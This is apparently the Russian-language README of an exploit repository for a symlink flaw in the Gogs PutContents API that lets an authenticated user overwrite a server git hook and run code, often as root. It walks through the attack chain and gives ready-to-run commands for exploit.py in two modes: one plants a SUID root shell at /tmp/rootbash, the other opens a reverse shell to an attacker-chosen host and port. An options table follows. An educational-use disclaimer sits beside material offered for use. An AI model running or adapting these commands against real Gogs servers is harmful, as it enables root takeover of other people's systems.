
Некорректная обработка символических ссылок в API PutContents в Gogs позволяет локальное выполнение кода.
Некорректная обработка символических ссылок в API PutContents в Gogs позволяет выполнить локальный код.
Этот репозиторий содержит профессиональный эксплойт для критической уязвимости в Gogs версиях до 0.13.0. Эксплойт использует логическую ошибку, при которой API Gogs не проверяет типы файлов при обновлении содержимого репозитория. Внедряя символическую ссылку, указывающую на серверный Git-хук (pre-receive), аутентифицированный пользователь может перезаписать содержимое хука вредоносным скриптом. Последующие операции Git push запускают выполнение этого скрипта в контексте пользователя, под которым работает служба Gogs (обычно root).
Symlink Injection: Злоумышленник отправляет символическую ссылку, указывающую на внутренние хуки репозитория (например, /root/gogs-repositories//.git/hooks/pre-receive).
API Overwrite: API Gogs позволяет обновить содержимое символической ссылки. Поскольку ОС следует за ссылкой во время операции записи, внутренний Git-хук перезаписывается.
RCE / Privilege Escalation: Последующий Git push запускает хук pre-receive. Если Gogs настроен с RUN_USER = root, злоумышленник получает полный контроль над системой.
python3 exploit.py --url http://target:3000 --user <username> --pass <password> --mode suid
После завершения получите root-доступ на цели:
/tmp/rootbash -p
python3 exploit.py --url http://target:3000 --user <username> --pass <password> --mode rev --lhost <ваш_ip> --lport 4444
Этот инструмент предназначен только для образовательных целей и авторизованного аудита безопасности. Автор не несёт ответственности за любое неправомерное использование или ущерб, причинённый этим инструментом на системах, которые вам принадлежат или на тестирование которых у вас есть явное разрешение.
| Аргумент | Обязателен | Описание |
|---|
--url | Да | Базовый URL экземпляра Gogs (например, http://127.0.0.1:3001). |
--user | Да | Действительное имя пользователя для аутентификации. |
--pass | Да | Действительный пароль для указанного пользователя. |
--mode | Нет | Режим эксплойта: suid (создаёт /tmp/rootbash) или rev (обратная оболочка). |
--lhost | Нет | Локальный IP-адрес для обратного вызова обратной оболочки. |
--lport | Нет | Локальный порт для прослушивателя обратной оболочки. |